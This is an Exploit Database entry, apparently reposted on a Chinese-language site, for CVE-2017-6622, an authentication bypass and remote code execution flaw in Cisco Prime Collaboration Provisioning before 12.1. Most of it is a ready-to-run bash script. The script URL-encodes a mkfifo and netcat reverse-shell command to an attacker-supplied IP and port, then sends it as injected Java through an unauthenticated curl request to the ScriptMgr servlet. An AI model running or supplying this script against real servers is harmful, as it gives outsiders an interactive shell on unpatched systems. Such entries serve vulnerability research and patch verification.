Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution

• Exploit Database
• 13 阅读

• 作者： Adam Brown
  日期： 2017-09-27
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/42888/

• # Exploit Title: Cisco Prime Collaboration Provisioning < 12.1 - ScriptMgr Servlet Authentication Bypass Remote Code Execution
  # Date: 09/27/2017
  # Exploit Author: Adam Brown
  # Vendor Homepage: https://cisco.com
  # Software Link: https://software.cisco.com/download/release.html?mdfid=286308336&softwareid=286289070&release=11.6&flowid=81443
  # Version: < 12.1
  # Tested on: Debian 8
  # CVE : 2017-6622
  # Reference: https://www.tenable.com/plugins/index.php?view=single&id=101531
  # Mitigation - Upgrade your Cisco Prime Collaboration Provisioning server to 12.1 or later.
  
  # Description - This vulnerability allows an unauthenticated attacker to execute arbitrary Java code on a system running Cisco Prime Collaboration Provisioning server < 12.1 via a scripttext parameter in the ScriptMgr page.
  
  # Usage: ./prime-shell.sh <TARGET-IP> <ATTACKER-IP> <ATTACKER-PORT>
  
  function encode() {
  	echo "$1" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
  }
  
  TARGET=$1
  ATTACKER=$2
  PORT=$3
  
  BASH=$(encode "/bin/bash")
  COMMAND=$(encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER $PORT >/tmp/f")
  SCRIPTTEXT="Runtime.getRuntime().exec(new%20String[]{\"$BASH\",\"-c\",\"$COMMAND\"});"
  
  curl --head -gk "https://$TARGET/cupm/ScriptMgr?command=compile&language=bsh&script=foo&scripttext=$SCRIPTTEXT"